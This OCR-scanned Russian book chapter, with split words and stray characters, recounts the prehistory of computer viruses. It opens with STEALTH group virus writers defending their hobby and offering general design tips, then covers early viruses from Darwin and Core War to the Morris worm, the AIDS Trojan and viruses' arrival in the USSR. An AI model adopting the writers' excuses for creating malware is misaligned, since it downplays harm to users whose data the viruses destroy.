ви русы якобы не приносят пользы. Это еще одно очень крупное заблуждение. Вирусы приносят пользу: для меня, моего друга, другого человека, который этим увлечен. Ко нечно, оно не приносит пользу всем. Ничто не приносит пользу всем.
16
Предыстория К примеру, ну какая мне польза или Вам, в знаниях о строении блохи? Или может кто-то найдет пользу для себя в наблюдениях о кратере в каком-нибудь Зимаракарабамаре? Я не говорю, что таких нет вообще. Я говорю, что таких меньшинст во. Нас меньшинство. И НАМ это приносит пользу. О том, что мы распространяем вирусы через ваши компьютеры, читайте выше. Повторюсь: Мы не распространяем вирусы через ваши компьютеры. И не занимаем ваши драгоценные 200-300 байт по сравнению с 50-250 мегабайтами всякой окошной ерунды и DOOMo-QuakeHyTou бо дягой. Мы даже этого не делаем. Это вы сами распространяете наши вирусы через ваши компьютеры. Приятно смотреть телевизор, но рекламы очень много показывают, как бы от этого явления избавиться — это ведь плохо, давайте повыгоняем всех рекламщиков. А, кстати реклама в газете — это тоже "НЕкорректное поведение". А человек, кото рый сверстал газету нелюбимым мною шрифтом тоже "мает дай". А мы вам даже не докучаем. И вообще я не понимаю — и кго это первый сказал, что вирус — это плохо??? А как говорил президент "Стеле Груп", — "Format полезная команда, но уничтожает данные на винчестере". А вирус — это аналогично, только данные на винчестере не уничтожает. Я никого не хотел задеть или обидеть, я всего лишь высказал точку зрения — делайте выводы. С уважением Int O'Drcam Вроде не вредные люди... Еще одно доказательство этого (выдержка из уста ва клуба вирусописателей): В уставе STEALTH group оговорено наличие "Дружественных лиц": ДРУЖЕСТВЕННЫМИ ЛИЦАМИ считаются те, кто •f относится с одобрением к идее создания СМ(*); 4 содействуют в помещении на boardы своих BBS информации, связанной с СМ, а также изданий и рекламы STEALTH group; 4 передают клубу экземпляры программ, содержащие неизвестные СМ, для их изу чения. По отношению к ДРУЖЕСТВЕННЫМ ЛИЦАМ клуб: •
при необходимости осуществляет очистку от ВИРУСОВ их рабочей среды;
•
консультирует ДРУЖЕСТВЕННОЕ лицо по любым темам вирусологии. (*) СМ — саморазмножающийся механизм (основа, составляющая вирус)
Или страдающие от вирусов посчитали помощь ниже своего достоинства? Так зачем обвинять нас во вредительстве, даже не обратившись к нам за предложен ной ДРУЖЕСКОЙ помощью?! Не кажутся ли после этого все речи о нас как о вре дителях несколько непорядочными?
17
Предыстория Помощь взамен на что? Читайте выше, в Уставе. Здесь ничего не сказано о распространении вирусов и нанесении вреда кому-либо. Нас интересует расшире ние, общение и обмен информацией. Возможность отстаивать свою точку зрения в Talks'ax и пр., где "диалог" со STEALTH group ведется с "завязанным нам ртом". Все помнят нашумевший "приезд" OneHalfa. Все помнят искалеченные Др.Вебом (v.до 1.6) диски, когда он был не в состоянии расшифровать поддающую ся восстановлению информацию. OneHalf мы получили не сразу, — благодаря вам. Вы предпочли почти два месяца поливать клуб грязью и обсуждать подробности мо ей анатомии, заодно обвиняя во всем наш безобидный вирус Maverick. Что нужно вам? Конфронтация или атмосфера взаимопонимания и сотрудни чества? Помощь Дружественным лицам — это политика STEALTH group с момента ее основания, не замеченная в процессе раздувания пугала угрозы Вирус-клуба. И мы не отказываемся от своих слов. Не хотите замечать этого и дальше — что ж, на ступайте. STEALTH group готова к обороне. Но! Мы так и не ответили на вопрос ЗАЧЕМ пишем вирусы. Ведь мы вроде даем повод делать пакости всякому, кому наш продукт попадет в руки. Таким обра зом, мы все-таки делаем пакости, что бы мы там не грузили Первый членораздельный вопрос, на который можно дать вразумительный ответ. LovinGod (президент STEALTH GROUP WORLD WIDE — SGWW) попро сил некоторых из членов клуба ответить на этот вопрос. Начнем с него же (стиль и орфография сохранены). Не раз задавался этим вопросом сам, почему из множества занятий в про граммировании выбрал именно это. В вирмэйкипге я человек не случайный и пришей сюда не из необходимости кому-то напакостить. Я прошел через увлечение языками высокого уровня, но не нашел их интерес ными. Если решил всерьез заняться машиной — выучи ее язык. Общение через пере водчика сухо и скучно. Так я увлекся Ассемблером, и теперь могу сказать компьютеру все. И, наконец, поиски области его применения привели меня к созда нию СМ. Почему я отбросил все остальное? Антивирусы: посмотрите на тупорылый Aidstest, который даже не спосо бен детектировать самозаражение и многое еще. Ревизоры тупо сверяют длины, резидентные сторожа только и делают, что орут на все попало — виррус, виррус! Защиты: как вахтеры, чем-то похожи на антивирусные детекторы — по ставить на своей тачке, конечно, можно, но это вахтер и не более, написать его го раздо легче, чем обойти, — последнее является задачей более интеллектуальной. Так называемые полезные программы и утилиты вообще не представляют интереса, так как написание их тривиально и сводится к обыкновенному факингу. Вирусы — единственные живые организмы в компьютерной среде, они пи шутся не для кого-то (советский подход к вопросу о смысле жизни), а для того, что бы выжить, не дать себя уничтожить. Это и есть настоящее программирование.
18
Предыстория Попробуйте написать СМ сами, и вы увидите, насколько это интересно и как силь но это отличается в лучшую сторону от остачьных областей программирования. Я изучаю и создаю СМ, потому что мне это интересно, это интересно всем моим коллегам, это очевидно, так как написание вирусов не приносит прибыли; на писание вируса — процесс чисто творческий. Спросите у поэта, для чего он пишет стихи. Неуместный вопрос, не правда ли? Склонность к насилию, заложенная в человеке от природы, проявляется во всех областях его деятельности. Будучи Violent by Nature, человек стремится исполь зовать любое достижение науки для нанесения вреда. Не думаю, что вы сможете назвать хотя бы одно "безвредное" изобретение. Ученые занимались интеллектуаль ным поиском, изобретали новое, потому что им это было интересно. Все это принесло человечеству пользу, все это принесло человечеству неис числимый вред. КАЖДЫЙ РАСПОРЯДИЛСЯ НАУЧНЫМИ ДОСТИЖЕНИЯМИ ПОСВОЕМУ, в меру своей испорченности. Вернемся к нашим батонам: полезная команда FORMAT и FDISK может уничтожить продукт чьего-то труда. И не Microsoft надо винить в этом. Нортон в своем Коммандере позволяет, нажав на "красную кнопку" F8 —убить всю инфор мацию независимо от ее значимости. И не Нортон в этом виновен. Не продолжая эту цепочку, замечу, что за то, что кто-то скачал с BBS инфицированный файл, от вечает ни кто иной, как SysOp. Единственное, за что можно упрекнуть авторов вирусов, это то, что вирусы не приносят пользы. По моему личному мнению, это общество недостойно бесплат ной пользы. И это НАШЕ ПРАВО, и НАШЕ ЛИЧНОЕ ДЕЛО — не приносить пользу! Мы готовы помогать людям и приносить кому-то пользу, а именно нашим коллегам, но тому, кому мы сами считаем нужным. Что касается борьбы с вирусами и их опасными проявлениями — м ы готовы встретить любой вирус —мы защищены на все 100%. Защищайтесь и вы, от вирусов ли, от распространителей ли, от ламеров, от юзеров... Это ваши личные проблемы. Авторы вирусов к вышеперечисленным объектам не относятся как не отно сится Калашников к убитым из автомата его изобретения. Light General: Да я занимаюсь ЭТИМ. Ибо в процессе создания "продукта" изобретаются новые крутые алгоритмы — и неважно, что создается (вирус или антивирус), по тому так просто происходит активный сбор и использование информации! (Короче писать хоть компилятор Турбо Бейсика — главное, чтобы интересно было.) Eternal Maverick: От скуки и из любви к Родине. Crazy: Много-много уважаемые (юзеры, исполъзователи компьютеров, кнопкотоптатели), отвечать буду коротко и ясно, понятно, доходчиво.
19
Предыстория Почему я пишу вирусы? Давно, давно, на большой земле, лежали камни. По небу плыли белые, и очень белые облака и молчаливо наблюдали как какой-то чувак стоял и разговаривал с эти ми камнями. Мужика звали Тамерлан. "Всемирная история, БАНК ИМПЕРИАЛ" Сижу я за компьютером, мимо меня неуверенно бегают родители и пыта ются заставить меня чистить картошку. А я не могу. И снизошло на меня... И я на писал вирус... "Всемирная история, Stealth Group, Vice President Crazy" Populizer. Вирусы бывают разные, но их уже разделили по классам и категориям. Напри мер: опасный, безопасный, и очень опасный. Нет деструкции — безопасный, приколы с зависаниями — опасный, и наконец с крутой деструкцией в виде int 26h, int 13 — очень опасный. Но вирусы славятся не только своими деструктивными действиями, но и спецэффектами, которые почему-то никто не классифицирует? Напишут, мол, делает то-то и то-то, но никто не похвалит автора за хо рошую находку! А не мешало бы затронуть и эту тему и говорить вот так: "Весё лый, очень весёлый и грустный или сухой (молчит и заражает)." Но следует не забывать, что спецэффекты нужно вызывать только после определенного числа заражений файлов-носителей. Предоставляется возможность запрета пользователю выполнять деструктивные действия, как например удаление файлов, форматирование дисков. Таким образом, вирус представляется полезной программой, следящей за изменениями в системе и предотвращающая всякие нео жиданности в виде удаления файлов или стертых дисков. В общем, ещё можно мно го писать о полезных вирусах, но позволю себе ограничиться на сказанном. Побольше прикольных вирусов!!! Gin_K: Хочу и пишу! Transformer: Уважаемый читатель! Данное письмо —мой ответ на просьбу Президента Клуба объяснить всем желающим, почему я дошел до такого ничтожного и мерзкого, по мнению "профес сионального" большинства юзеров, занятия. Живого злобного вируса я видел только в коллекции, с последствиями его зна комства со своим винтом пока что не сталкивался. Мой профессиональный уровень значительно уступает профессиональному уровню других членов клуба, моя продук ция может представлять пока что учебный интерес. Поэтому вопрос, на который я отвечаю, может быть сформулирован так: "Почему я собираюсь писать вирусы?"
20
Предыстория Во-первых, компьютерный вирус, как мне кажется, является первым клас сом саморазмножающихся структур, созданных человеком. Эти структуры уже по казали свою жизнеспособность и перспективность, несмотря на их относительную примитивность. Вирусы способны активно бороться за свое существование, неко торые даже проводят модификацию своих копий при саморазмножении, и это все, повторяю, при жалком, ничтожном размере. (Между прочим, небольшой размер ви руса — одно из условий его выживания.) Назовите еще какое-нибудь творение чело веческих рук и мозга, способное на такое! Во-вторых, написание компьютерного вируса, соответствующего сегодняш нему уровню развития этого класса программ (хотя бы такого, по отношению к ко торому Лозинский не употребит определения "безграмотный"), требует высокого программистского мастерства. В данное понятие я включаю: 1) хорошее стратегическое мышление и интуиция — выпущенный в свет ви рус и его потомки живут своей, независимой от автора, жизнью, в условиях, кото рые трудно предвидеть. Автор поэтому должен предусмотреть очень и очень много. 2) великолепное знание языка ассемблера и операционной системы — чем больше в вирусе ошибок — тем быстрее его поймают. 3) внимание к мелочам, умение решать самые разнообразные тактические вопросы — без этого компактной, удовлетворитеяьно работающей программы не напишешь. 4) высокая профессиональная дисциплина — связать предыдущие пункты во едино. Все эти качества полезны при написании любых программ, для создания ви руса они просто необходимы. Трудно придумать лучший полигон для совершенство вания своего мастерства. В-третьих. Как мне кажется, развитие программных средств идет не в том направлении. Свидетельство тому — восторги в журналах по поводу уменьше ния размеров программных продуктов (с 32 до 27 мегабайт)! Какое достижение!
I
Теперь (Зля переписывания нужно, с учетом архивации, на 2 дискеты меньше, динамика размеров новых версий разных компиляторов (ошибки же в них не устра няются, а только размножаются), появление игрушек, в которые никто не играет (чтение файла readme.txt и освоение клавиатуры занимают целую неделю и могут просто надоесть). В общем, диагноз ясен — ожирение. Как известно, развитие лю бой системы, происходящее под воздействием только положительной обратной связи, неспособно привести к чему-либо совершенному, и, главное, существующему достаточно долго. Если мы хотим сделать систему совершенной и стабильной, нужно ввести регулятор — отрицательную обратную связь. Иначе камки рухнут под собственной тяжестью — вспомните динозавров! Сейчас в развитии софта се рьёзных отрицательных обратных связей нет; я думаю, вирусная опасность ста нет одной из них. И вообще, вирус есть антипод этим монстрам — программа, не имеющая ничего лишнего, сама заботящаяся о своей жизнедеятельности, требую-
21
Предыстория щая максимальных ресурсов компьютера. Разве эти свойства не достаточны, что бы уважать данный класс программ и их создателей. Итак, надеюсь, мне удалось объяснить свою позицию. Вы, думаю, поняли, что написание вирусов есть творчество — занятие интересное, поучительное и по лезное. В конце концов, людям этим заниматься интересно. Теперь по поводу деструкции. Информация в компьютере — не живое суще ство, её копирование возможно, просто и сравнительно дешево. Необходимость резервного копирования приучает к дисциплине и несколько ограничивает бездум ную погоню за новым софтом. Так что непоправимую деструкцию наполовину дела ет неорганизованность юзеров. Вообще, по данным статистики, наибольшее число убийств совершается кухонными ножами, так что, запретить или заставить регистри ровать в милиции каждый нож? Ещё факты. Полёт человека на Луну стал простым следствием изобретения новых способов истребления гражданского населения во Второй Мировой войне (баллистические ракеты). Стремление убивать людей сделало фантастическую меч ту в течение пятидесяти лет прозаической реальностью. И ещё первая электронновычислительная машина активно использовалась при разработке первой атомной бомбы. Так что, иногда, и плохие, даже очень плохие, вещи куда похуже вирусов (на зовите хоть одного человека, павшего жертвой злобного компьютерного вируса), мо гут весьма содействовать прогрессу и приносить большую пользу. Вот, в принципе, и всё. В заключение я хочу обратиться к тем, кому небезразлично Программирова ние, кто хочет открыть для себя огромный мир маленького компьютера. Научитесь говорить с машиной на ее языке, попробуйте создать программу, способную жить и размножаться в далеко неблагоприятных условиях многооконных пожирателей памя ти и постоянной войны на уничтожение. Попробуйте, и вы поймете, что наше хобби не имеет в основе своей ничего, кроме радости общения с машиной на равных и гордости за техно-организм, выжив ший, несмотря ни на что.
Когда все началось Идея создания самовоспроизводящихся механизмов зародилась еще задолго до появления ЭВМ. Еще в 1959 году американский журнал "Scientific American" опубликовал статью Л.Пенроуза о самовоспроизводящихся механизмах. На ее осно ве F.G.Stahl создал модель миниатюрной линейной Вселенной, в которой существа жили, двигались и умирали от голода. Модель была запрограммирована на машин ном языке ЭВМ IBM 650. Пищей для этих существ служили ненулевые слова. После съедания определенного количества слов существо порождало новое. При размноже нии были предусмотрены возможности мутаций, в ходе которых существа могли приобретать способность пожирать себе подобных и терять возможность к размно жению. Однако ограниченная память и быстродействие IBM 650 послужили препят ствием для получения интересных результатов: в ходе пробного прогона один бесплодный мутант убил и съел единственного, способного к размножению.
22
Предыстория Сейчас очень трудно установить, когда в первый раз заговорили о програм мах-вирусах. Еще труднее установить, когда и где родилась идея создания такого ти па программ — программ, осуществляющих автоматическую модификацию и воспроизведение. Ниже приведены прабабушки и прадедушки современных про грамм вирусов.
Дарвин В 1972 году М.Макилрой из AT&T Bell Laboratories изобрел игру "Дарвин". По правилам этой игры, всякий игрок предоставлял известное количество программ, написанных на ассемблере, которые загружались в память компьютера вместе с про граммами других игроков. Эти программы были названы "организмами". Организ мы, созданные одним игроком (т.е. принадлежащие к одному "виду"), должны были "убивать" представителей другого вида и занимать "жизненное пространство". Побе дителем считался тот игрок, чьи организмы захватывали всю память или набирали наибольшее количество очков. Разумеется, такие программы нельзя назвать вируса ми, однако и здесь просматривается определенная аналогия с простейшими биологи ческими существами. Кроме того, здесь демонстрируется идея борьбы программ, которая в известной мере предвосхищает ситуацию "вирус-средства защиты", имею щую место сегодня.
Animal Ранним примером вирусоподобных программ была игра "Animal" ("Живот ное"). Суть этой игры состояла в том, что человек задумывал некоторое животное, и программа, задавая вопросы, пыталась определить, какое животное загадал человек. Программист, написавший игру, предусмотрел в ней возможность саморазмножения. Когда программа угадывала неправильно, она просила пользователя предложить во прос, который позволил бы улучшить ее способности к отгадыванию данного живот ного. Запомнив этот вопрос, программа не только модифицировала себя, но и пыталась переписать свою обновленную (улучшенную) копию в другой каталог. Ес ли там уже была программа "Animal", то она стиралась. В противном случае созда валась новая копия. Оказалось, что через некоторое время все каталоги файловой системы содержали кбпию "Animal". Более того, если пользователь переходил с ма шины на машину, то он переносил и свой каталог, и в результате во всех каталогах этой ЭВМ также появлялась "Animal". При этом совокупность копий "Animal" занимала значительное файловое пространство, что в те времена воспринималось как проблема. Для решения пробле мы была создана новая, более "инфицирующая" копия "Animal", которая копировала себя не один раз, а дважды. По истечении заданного срока она предлагала пользова телю сыграть последний раз, а затем сама стирала себя с диска.
Черви В вышедшем в 1975 г. бестселлере "The shockware Rider" Джон Бруннер (John Brunner) описал "червей" — программы, распространяющиеся по сети, идею, кото-
23
Предыстория рая произвела определенное впечатление, хотя ее осуществление находилось за пределами возможностей компьютеров того времени. Не без влияния этой книги в 1982 г. в исследовательском центре фирмы XEROX была создана программа-червь. Идея, которой руководствовались авторы программы, состояла в том, что программа, требующая значительных вычислительных мощностей, захватывала все простаиваю щие, но подключенные к сети ЭВМ с тем, чтобы, например, ночью использовать мак симум подключенных вычислительных мощностей, а утром, когда пользователи начинают выполнять свои вычисления, освобождать их, сохраняя промежуточные результаты вычислений. Днем программа "перебивалась" бы одной-двумя машина ми, а ночью опять захватывала бы все свободные вычислительные мощности. В свя зи с этой способностью к ночному распространению, такую программу правильнее было бы назвать не червяком, а вампиром. В своей статье, посвященной червяку, авторы упоминают о том, что основной проблемой, связанной с отладкой червяка, оказалось его неконтролируемое распро странение и зависание части зараженных червяком машин. Поскольку эксперимент проводился на локальной сети Ethernet и часть комнат с включенными машинами следующим утром оказалась закрытой, копии червя в этих машинах заражали другие машины. К счастью, авторы предусмотрели такую возможность и послали по сети команду самоуничтожения всем копиям червяка.
Core Ware В 1985 году в журнале "Scientific American" опубликована игра "Core Ware" (Война в памяти). В ней два игрока пишут по одной программе каждый на языке низ кого уровня REDCODE. Программы помещаются в большой циклически замкнутый участок памяти. Управляющая программа поочередно исполняет одну команду каж дой программы, подобно простейшей системе реального времени. Программы атаку ют друг друга и в то же время пытаются избежать повреждений и восстанавливать поврежденные области. Простейшая атака состоит в использовании команды MOV (записать в память). Например: МОV #0,1000 может "убить наповал" вражескую про грамму, если попадет в следующую исполняемую команду (т.е. если следующая вы полняемая команда "врага" расположена по адресу 1000), или "ранить", если это данные или исполняемые команды, или, наконец, "попасть мимо", если ячейка 1000 противной стороной не используется.
Первые эпидемии Все началось в 1987 г. в разных местах. Независимо друг от друга были заре гистрированы три случая массового заражения IBM PC компьютерными вирусами. Первым вирусом был так называемый Пакистанский вирус, разработанный братьями Амджатом и Базитом Алви (Amdjat и Basit Faroog Alvi) в 1986 г. Он был об наружен летом 1987 г. По непроверенным (и, вероятно, завышенным) данным, при веденным Маккафи (McAfee) [McAfee89b], он заразил только в США более 18 тысяч компьютеров. Этот бутовый вирус создан в основном Амджадом — 26-летним выпу скником отделения физики Пенджабского университета, который, по его заявлению,
24
Предыстория пытался наказать американцев, покупавших дешевые незаконные копии программ в Пакистане. Амджат утверждает, что по пакистанским законам свободное копирова ние не является преступлением, и хотя он не одобряет такое положение вещей, вы нужден с ним мириться и не может наказывать других. Поэтому он не продавал зараженные вирусом незаконные копии пакистанским покупателям. Другое дело — американцы, у которых существуют законы, запрещающие пиратство. Их, по его мнению, стоило проучить. К середине 1987 г. братья признали, что уже достаточно проучили пиратов и прекратили распространение вируса. Однако вирус уже сумел распространиться по США, а оттуда попал в другие страны, в том числе и в бывший СССР. Кроме того, начали появляться штаммы с измененными текстовыми сообще ниями и свойствами. , . Вторым вирусом стал Лехайский вирус, появившийся в ноябре 1987 г. в одно именном университете США. В течение нескольких дней этот вирус уничтожил со держимое нескольких сот дискет из библиотеки вычислительного центра университета и личных дискет студентов. По данным Маккафи, опубликованным в журнале Datamation, по состоянию на февраль 1989 г. только в США этим вирусом было заражено порядка четырех тысяч компьютеров. Следует отметить, что учиты вая склонность Маккафи искажать данные в выгодную для него сторону, к приводи мым им цифрам нужно относиться критически, уменьшая их примерно в пять раз. Перед самым Новым годом, 30 декабря 1987 г., был обнаружен вирус в Иеру салимском Университете (Израиль). Хотя существенного вреда этот вирус не принес, он быстро распространился по всему миру (по данным Маккафи (которые часто на столько завышены, что я удивляюсь, как самому Джону Маккафи не страшно), более 3 тысяч зараженных компьютеров только в США) и, по-видимому^ является первым вирусом, распространение которого приобрело характер пандемии [Radai89]. В том же 1987 г. в издательстве Data-Becker вышла монография Р.Бургера "Компьютерные вирусы". Она выдержала несколько переизданий, переведена на ан глийский язык, а в 1989 г. — на русский язык. Автор включил в книгу ряд исходных текстов демонстрационных программ вирусов на разных языках и листинг так назы ваемого венского вируса. Свой вклад в распространение вирусов внесли и некоторые журналы. Так, журнал "C't" в том же году опубликовал код вируса "уголек" для ПЭВМ Atary ST и фаг к этому вирусу. Вскоре этот вирус проник в компьютеры издательства DataBecker, а затем и на дистрибутивные дискеты, распространяемые этой фирмой. К счастью, он был быстро обнаружен и уничтожен. В 1988 г. проблема защиты программного обеспечения от заражения компью терными вирусами в странах США и Западной Европы приобрела характер приори тетной. Это прежде всего связано с тем, что в условиях значительной зависимости различных учреждений от компьютерных систем, проникновение вирусов представ ляет потенциальную опасность и может привести к серьезным последствиям. Например, летом 1988 г. компьютерный вирус инфицировал три компьютера в Ми чиганском госпитале, которые обрабатывали информацию о пациентах. Он. был об наружен в процессе анализа причин неправильного функционирования системы,
25
Предыстория заключавшегося в том, что на дисплей неверно вызывались расширенные диагности ческие сведения. По данным администрации госпиталя вирус перемешал фамилии пациентов в базе данных ПЭВМ Macintosh II. Как показало расследование, вирус был занесен при ремонте винчестера одного из компьютеров. К счастью, никому из пациентов не был поставлен неправильный диагноз или назначено неправильное ле чение в результате перемешивания фамилий пациентов в базе данных. Однако, по мнению специалистов, это был вопрос времени и вполне мог стоить кому-то жизни. Данный случай является вторым случаем вторжения в медицинские компьютеры (первый был связан с проникновением хакеров, которые просматривали базу данных, но не нанесли никакого ущерба) и первым случаем, когда настоящие данные пациен тов и диагностирования манипулировались вирусом. Из компьютерных Вирусов-88 отметим вирус падающих букв и "итальянский попрыгунчик", распространение которых также приняло характер эпидемии. Особое внимание общественности привлек так называемый вирус Морриса: 2.11.88 г. Роберт Моррис-младший, аспирант факультета информатики Корнельского Университета инфицировал с помощью написанного им вируса большое количество компьютеров (по ориентировочным оценкам порядка 6000), подключенных к американской наци ональной сети Internet (не путать с распространенной локальной сетью Ethernet). Хо тя никакой потери или изменения данных не произошло, многие тысячи часов рабочего времени были потеряны пользователями Internet. Это событие вызвало значительную реакцию американской и мировой прес сы, включая советскую. Так ведущие американские газеты, включая "Чикаго Трибьюн", "Нью-Йорк Тайме" и "Бостон Геральд", опубликовали репортажи с места события. Ими широко освещалась динамика распространения вируса и разработка методов борьбы с ним, а также затрагивались общие проблемы обеспечения безопас ности компьютерных систем. Позднее в аналитических статьях по этому поводу об суждались нерешенные проблемы, относящиеся к вопросам безопасности компьютерных систем, и предлагались законодательные инициативы, направленные на предотвращение подобных случаев в дальнейшем. В частности, не без влияния этой серии публикаций в палате представителей были внесены два проекта законов, предусматривающих уголовное наказание за создание и распространение компью терных вирусов. Помимо информации типа "как это было" и "то ли еще будет", в американской прессе широко обсуждался вопрос о том, как квалифицировать поступок Морриса: является ли Моррис героем-хакером, который без нанесения серьезного ущерба ука зал на слабые места в национальной компьютерной сети, или он является преступ ником, который должен быть сурово наказан. При этом характер обсуждения и поляризация мнений в некоторой степени напоминали дискуссии по поводу извест ного всем нам случая с посадкой Руста на Красную площадь. Вскоре Моррис был от числен из Корнельского университета. Министерство юстиции США довольно долго изучало вопрос о возможности привлечения Морриса к суду на основе действующе го законодательства, и только 18 января 1990 г. в городе Сиракьюс (штат Нью-Йорк) начался судебный, процесс по делу Морриса. Нанесенный ущерб был оценен в
26
Предыстория 150 тыс. долларов. Процесс над Моррисом стал возможен в результате принятия в 1986 г. федерального закона об ответственности за преступления, связанные с ком пьютерами (1986 U.S. Computer Fraud and Abuse Act). Моррису грозил штраф в 250 тыс. долларов и тюремное заключение сроком до 5 лет. Адвокат Морриса ут верждал, что тот якобы создал вирус для проведения эксперимента по проверке за щиты компьютера. При этом он допустил ошибку, которая и привела к нежелательным результатам. Моррис, по словам адвоката, не стремился нанести ка кой-либо ущерб компьютерным системам США. Интересно отметить, что в интер вью репортеру одной из американских газет мать Морриса упомянула тот факт, что роман "The Shockware Rider" Джона Бруннера был одной из наиболее зачитанных книг в комнате юного Морриса. 4 мая 1990 г. суд присяжных признал Морриса ви новным. Он был приговорен к условному заключению сроком на два года, 400 часам "общественных работ" (американский аналог отечественных 15 суток) и штрафу раз мером 10 тыс. долларов. Осуждение Р.Морриса-младшего показывает, что американ ское общество уже осознает опасность и предпринимает меры по борьбе с ней. В 1989 г. панику в США и западноевропейских странах вызвали вирусы DATACRIME, которые запрограммированы так, что начиная с 12 октября они разрушают файловую систему, а до этой даты просто размножаются. Эта серия компьютерных вирусов, состоящая, как полагают, из трех программ ("Датакрайм 1, 2, 3") начала рае£* пространяться в Нидерландах, США и Японии приблизительно в начале 1989 г. и к сентябрю поразила, по некоторым оценкам (которым, впрочем, не стоит особенно до верять), около 100 тысяч ПЭВМ только в Нидерландах (что составляет около 10% от их общего количества в стране). Даже фирма IBM отреагировала на эту угрозу, выпу стив свой детектор VIRSCAN, позволяющий искать характерные для того или иного вируса строки (сигнатуры) в файловой системе. Набор сигнатур может дополняться и изменяться пользователем. В нашей стране в 1989-1990 гг. случаев заражения данным вирусом не отмечалось; потенциальную опасность представляет 12.10.91 г. В начале августа 1989 г. в Амстердаме состоялся международный съезд хаке ров, в ходе которого были продемонстрированы "дыры" в существующих системах обеспечения безопасности и контроля от несанкционированного доступа. В качестве доказательства своих способностей представители одной из групп хакеров, подклю чившись к ЭВМ местного банка, получили 270 тысяч франков. Вернув на следую щий день эту сумму наличными, хакеры продемонстрировали уязвимость системы защиты банковских компьютеров. Еще одной нашумевшей историей была так называемая AIDS Information Trojan — троянская программа, распространявшаяся в декабре 1989 г. в составе па кета с базой данных о заболевании синдромом приобретенного иммунодефицита (СПИД). Как программа, так и база данных были записаны на дискете, которая была разослана 20 тысячам заказчиков, включая ряд медицинских и общественных орга низаций США, Франции, Великобритании, ФРГ, Дании, Норвегии, Швеции и многих других стран. Затраты на рассылку составили порядка 200 тыс. долларов. Все адре саты получили по почте посылку с упаковкой данного продукта, на которой указыва лось его назначение, а на обратной стороне крайне мелким шрифтом были набраны
27
Предыстория условия распространения. Сопроводительное письмо извещало, что на дискете со держатся новые сведения по проблемам СПИДа, но в письме условия использования дискет не указывались. После записи на винчестер, они действительно начали выда вать информацию по обещанной тематике. Однако затем вся информация на винчес тере была перекодирована и на экранах появилось требование перечислить сумму в 378 долларов на счет незарегистрированной фирмы в Панаме. В этом случае пользо вателю якобы будет выслана программа восстановления перекодированной информа ции. Среди пострадавших были как индивидуальные владельцы компьютеров, так и лаборатории, научные центры, больницы. В некоторых случаях заблокированным оказался итог работы целых научных коллективов. Джозеф Попп, предполагаемый распространитель этой троянской программы, был арестован в феврале 1990 г, в аме риканском штате Огайо. Если эксперты подтвердят его психическую полноценность, то он попадет лет на 10 тюремного заключения по американским законам за прове дение этой операции по "вирусному рэкету".
Появление вирусов в России Так или иначе, компьютерные вирусы стали частью окружающей программи стов, да и не только программистов, действительности. Одним из свидетельств это го является тот факт, что новое издание словаря Вебстера (Webster's Ninth New College Dictionary) включает термин "вирус компьютерный". И они, конечно, не ми новали нашей страны, хотя массовые закупки персональных компьютеров типа IBM/PC у нас в стране начались только в середине 1988 г. (как всегда мы опоздали почти на десять лет). К этому же моменту начался выпуск советских, правда изряд но африканизированных, клонов — ЕС 1840, Искра 1030 и Нейрон. Хотя исследования, выполненные в России, начались довольно поздно и их формально нельзя отнести к предыстории (автору не известны отечественные попыт ки создания самовоспроизводящихся программ до 1988 г.), следует отметить, что первое отечественное исследование в данной области было выполнено до появления у нас в стране "настоящих" компьютерных вирусов. Оно было проведено в 1988 г. А.А.Чижовым, который в то время работал в ВЦ АН СССР (Москва). Основываясь непосредственно на концепции самовоспроизводящихся программ, он самостоятель но реализовал демонстрационный файловый компьютерный вирус для MS DOS и провел ряд экспериментов по его распространению. В ходе этих экспериментов ав тором была выявлена чрезвычайно большая скорость распространения вируса. По материалам этого исследования в 1988 г. была опубликована первая русско-язычная статья по данной проблематике. Хотя в ней не приводились сведения о конкретных вирусах в MS DOS (А.А.Чижов "живыми" экземплярами вирусов в тот момент не располагал), статья содержала полезные сведения о механизме работы этого типа программ и предупреждала о серьезности данной угрозы. В то же время публикация имела и отрицательные последствия, поскольку ввела в оборот "фантомные" на тот момент типы вирусов, которые с тех пор кочуют по отечественным публикациям ("вирус в объектной библиотеке", "вирус в сетевом драйвере" и др.). Кроме того, не конкретность рекомендаций исключала принятие каких-то полезных профилактиче-
28
Предыстория ских мер, а призывы автора к соблюдению авторских прав носили в определенной мере морализаторский характер. Статья была замечена специалистами в Польше (ко торые, кстати, отметили потенциальную опасность статьи, как пособия по разработ ке новых типов вирусов) и, возможно, в других странах Восточной Европы. Первый компьютерный вирус (С-648 по приводимой ниже классификации) появился в России приблизительно в августе 1988 г. Этот вирус, часто называемый венским вирусом (по предполагаемому месту его разработки), вызывал перезагрузку операционной системы при запуске некоторых из пораженных им программ. Одним из первых мест, где он был обнаружен, являлась лаборатория Института програм мных систем (Переславль-Залесский). Возможно, он попал в лабораторию во время проведения институтом (совместно с ЮНЕСКО) Международного детского компью терного летнего лагеря. Поскольку этот вирус к середине 1988 г. был уже довольно распространен в странах Западной Европы, он, несомненно, завозился в Россию не однократно, с различного рода новыми версиями программного обеспечения и ком пьютерными играми. В Киеве этот вирус появился в конце 1988 г. Наибольшее распространение он получил примерно в апреле 1989 г., после чего его эпидемия по шла на убыль, что прежде всего связано с достаточной распространенностью средств защиты от этого вируса. Одним из переносчиков этого вируса в Киеве был адаптиро ванный вариант программы SideKick. К сожалению, по стране распространяется ре конструированный одним венским программистом исходный текст данного вируса, с довольно подробными комментариями. Этот текст, в частности, был включен В.Бончевым в его так называемую "вирусную" дискету, распространявшуюся вместе с раз работанным им пакетом антивирусных программ. Наличие исходного текста создает благоприятные условия для появления штаммов. И, действительно, данный вирус имеет, пожалуй, наибольшее число штаммов из нерезидентных файловых вирусов, (см., например, описания вирусов С-534 и С-623). Вторым вирусом, попавшим в Россию, был вирус RC-1701. Данный вирус вызывал довольно интересный эффект "опадания" букв на экране монитора. Этот ви рус также имеет западноевропейское происхождение. В России впервые был выде лен в Институте прикладной математики имени М.В.Келдыша. В Киеве появился в начале 1989 г. Средства защиты появились примерно одновременно с вирусом, по этому существенного вреда вирус не нанес. Первым средством защиты от данного вируса в Киеве была немецко-язычная (австрийская) программа SERUM3, которая могла работать как в режиме фага, так и в режиме детектора. Среди первых отечест венных программ, применявшихся на начальной стадии эпидемии, следует отметить детектор В.Ладыгина VIRUS_D1. Попытки программистов организоваться для борьбы с той новой разновидно стью системных программ относятся к началу 1989 г. Так, 12 апреля 1989 г. в Киеве в рамках семинара "Системное программирование" было проведено первое специали зированное заседание по антивирусной тематике. В дальнейшем выступления по этой теме стали регулярными и было проведено еще 